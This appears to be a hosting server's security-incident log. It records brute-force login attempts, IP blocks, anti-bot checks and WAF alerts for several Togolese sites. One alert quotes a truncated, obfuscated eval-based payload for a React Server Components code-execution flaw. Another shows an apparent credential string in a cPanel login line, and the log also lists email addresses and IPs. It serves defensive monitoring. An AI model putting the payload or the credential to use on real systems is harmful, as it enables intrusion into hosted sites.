# incident

plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.77.101.225
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1-1-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/1-1-1024x768.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/1-1-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/1-1-1536x1152.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/06/1-1-2048x1536.webp 2048w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.222
country_id: 6252001
description:
2026-06-17 16:03:29 dovecot_login authenticator failed for H=(StNrBYw) [165.154.235.222]:53636: 535 Incorrect authentication data


plugin: modsec
rule: 77350257
name: IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2
abuser: 102.64.170.217
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2||MVN:ARGS:shortcode||MV:[embed]https://youtu.be/kZaHI0YEGm0[/embed]||WPU:direct7tv||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:05:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673582&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781712318 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.99.229.136
country_id: 6252001
description:
2026-06-17 16:05:20 dovecot_login authenticator failed for H=(localhost.localdomain) [167.99.229.136]:65024: 535 Incorrect authentication data (set_id=kiran@libertetogo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.222
country_id: 6252001
description:
2026-06-17 16:04:25 dovecot_login authenticator failed for H=(lRwvNmuV) [165.154.235.222]:50332: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.99.229.136
country_id: 6252001
description:
Jun 17 16:05:18 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.99.229.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 17 16:05:13 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 17 16:05:38 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.225.247
country_id: 6252001
description:
2026-06-17 16:05:39 dovecot_plain authenticator failed for H=(o6zb53crn0cnjeb4qx) [104.28.225.247]:22676: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.222
country_id: 6252001
description:
2026-06-17 16:05:56 dovecot_login authenticator failed for H=(uyYT4kLEC) [165.154.235.222]:53482: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.222
country_id: 6252001
description:
2026-06-17 16:05:33 dovecot_login authenticator failed for H=(bL6shOnE) [165.154.235.222]:51845: 535 Incorrect authentication data


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.64.85
country_id: 1831722
description:
[2026-06-17 16:06:39 +0000] info [cpaneld] 157.85.64.85 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 35.92.40.115
country_id: 6252001
description:
[2026-06-17 16:07:03 +0000] info [cpaneld] 35.92.40.115 - - "GET /sites/default/files HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.92.40.115
country_id: 6252001
description:
[2026-06-17 16:06:55 +0000] info [cpaneld] 35.92.40.115 - - "GET /wp-content/plugins HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 17 16:07:01 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.224.108.103
country_id: 102358
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/07/WhatsApp-Image-2025-07-08-at-16.05.57.webp 992w, http:/togodailynews.tg/wp-content/uploads/2025/07/WhatsApp-Image-2025-07-08-at-16.05.57-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/07/WhatsApp-Image-2025-07-08-at-16.05.57-768x576.webp 768w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.255.3.229
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/136699912 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 81.26.200.214
country_id: 783754
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/11/illustration-forfait-kede-696x696-1.jpg 696w, http:/togodailynews.tg/wp-content/uploads/2023/11/illustration-forfait-kede-696x696-1-300x300.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2023/11/illustration-forfait-kede-696x696-1-150x150.jpg 150w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-17 16:08:33 +0000] info [cpaneld] 45.61.130.187 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.180.112
country_id: 1880251
description:
Jun 17 16:09:06 ns5 pure-ftpd[2087926]: (?@47.84.180.112) [WARNING] Authentication failed for user [imadminpro]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 17 16:10:16 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 17 16:11:21 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 109.128.213.235
country_id: 2802361
description:
109.128.213.235 - - [17/Jun/2026:16:10:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184853&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-ouganda-une-cooperation-marquee-par-la-paix-et-la-stabilite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781712629 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-ouganda-une-cooperation-marquee-par-la-paix-et-la-stabilite/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.3793.1762 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:109.128.213.235


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.158.53.202
country_id: 1643084
description:
Jun 17 16:10:41 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.158.53.202 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.44.90.96
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/736453 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.24.60.215
country_id: 99237
description:
185.24.60.215 - - [17/Jun/2026:16:12:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921416&pdata=https%253A%252F%252F24heureinfo.tg%252Feducation%252Fpage%252F21%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781712747 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/education/page/21/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.4934.1878 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.24.60.215


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:16:13:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051674&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781712790 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:16:13:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790870&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781712814 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:13:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262932&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781712802 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:18:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:18:13 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.64.85
country_id: 1831722
description:
[2026-06-17 16:18:32 +0000] info [cpaneld] 157.85.64.85 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:19:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868135&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781713189 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 177.54.207.232
country_id: 3469034
description:
177.54.207.232 - - [17/Jun/2026:16:23:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6931868&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D11098&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781713419 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=11098" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2448.1385 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.54.207.232


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.242.114.227
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-24.196.242.114.227||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.74.67.138
country_id: 1733045
description:
180.74.67.138 - - [17/Jun/2026:16:26:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13079708&pdata=https%253A%252F%252Ftogodailynews.tg%252Fgrace-au-fsrp-de-la-production-de-riz-dans-le-tone-progresse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781713591 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/grace-au-fsrp-de-la-production-de-riz-dans-le-tone-progresse/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.74.67.138


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:16:27:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881192&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781713664 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.187
country_id: 3865483
description:
Jun 17 16:27:49 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.187 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:27:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792664&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781713667 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:16:27:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13408363&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781713665 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.87.2
country_id: 226074
description:
Jun 17 16:28:10 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.87.2 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - odoo1@dagl.tg [06/17/2026:16:28:37 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: odoo1@dagl.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.87.2
country_id: 226074
description:
Jun 17 16:28:24 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.87.2 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.48
country_id: 6252001
description:
205.169.39.48 - - [17/Jun/2026:16:31:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10117993&pdata=http%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781713865 HTTP/1.1" 302 0 sthandling-aero.tg "http://sthandling-aero.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.48


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: formation.free.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"$f5cbfb16\":\"5519\",\"__d004f378\":\"50e0\",\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var ovan=arguments[0x1];var nnzzf=ovan;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"f\\\",\\\"fer\\\


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 83.110.123.0
country_id: 290557
description:
83.110.123.0 - - [17/Jun/2026:16:33:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247204&pdata=https%253A%252F%252Fmacite.tg%252F2023%252F08%252F24%252Fpage%252F2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781714028 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2023/08/24/page/2/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.3545.1604 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:83.110.123.0


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:34:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:34:45 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:35:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725292&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781714136 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.68.173.3
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/bcb3a7 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-17 16:36:48 +0000] info [webmaild] 160.242.195.10 - ydoni@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:41:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143077&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781714459 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:16:40:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039898&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781714444 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:16:41:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143173&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781714457 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.71
country_id: 6252001
description:
[2026-06-17 16:42:19 +0000] info [cpaneld] 64.44.59.71 NEW zykoahbv:Xr3QQ7qHzbCQJlW1 address=64.44.59.71,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.18
country_id: 2635167
domain: delxia.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/zykoahbv/public_html/.800137581114267.php||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>le foncier constitue, pour toute entreprise, la pierre angulaire de la stabilit\xc3\xa9 et de la croissance \xc3\xa9conomique. et pourtant, la s\xc3\xa9curisation des projets immobiliers demeure un d\xc3\xa9fi strat\xc3\xa9gique majeur sur le march\xc3\xa9 togolais.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans l\xe2\x80\x99optique d'accompagner les op\xc3\xa9rateurs \xc3\xa9conomiques, les investisseurs et les chefs d'entreprise dans la protection durable de leur patrimoine, l\xe2\x80\x99office togolais des recettes (otr) organise, ce jeudi 18 juin 2026, une session d'information et d'\xc3\xa9change exclusive sous format num\xc3\xa9rique, intitul\xc3\xa9e \xe2\x80\x98\xe2\x80\x9945 min avec l\xe2\x80\x99ot\xe2\x80\x99\xe2\x80\x99.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>plac\xc3\xa9 sous le th\xc3\xa8me&nbsp;: <em>\xc2\xab obtention de titre foncier pour entreprises : s\xc3\xa9curiser vos projets immobiliers \xc2\xbb</em>, ce webinaire strat\xc3\xa9gique est un rendez-vous id\xc3\xa9al, qui va aborder, de mani\xc3\xa8re concr\xc3\xa8te et transparente, les \xc3\xa9tapes incontournables de la proc\xc3\xa9dure d'immatriculation fonci\xc3\xa8re au togo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"558px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:558px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>les experts de l'otr auront une fois de plus l\xe2\x80\x99occasion de d\xc3\xa9tailler les r\xc3\xa9formes r\xc3\xa9centes visant \xc3\xa0 simplifier, acc\xc3\xa9l\xc3\xa9rer et fiabiliser les formalit\xc3\xa9s administratives. les participants auront ainsi l'opportunit\xc3\xa9 de d\xc3\xa9couvrir les bonnes pratiques pour pr\xc3\xa9munir leurs infrastructures contre les litiges et optimiser la valeur juridique de leurs actifs 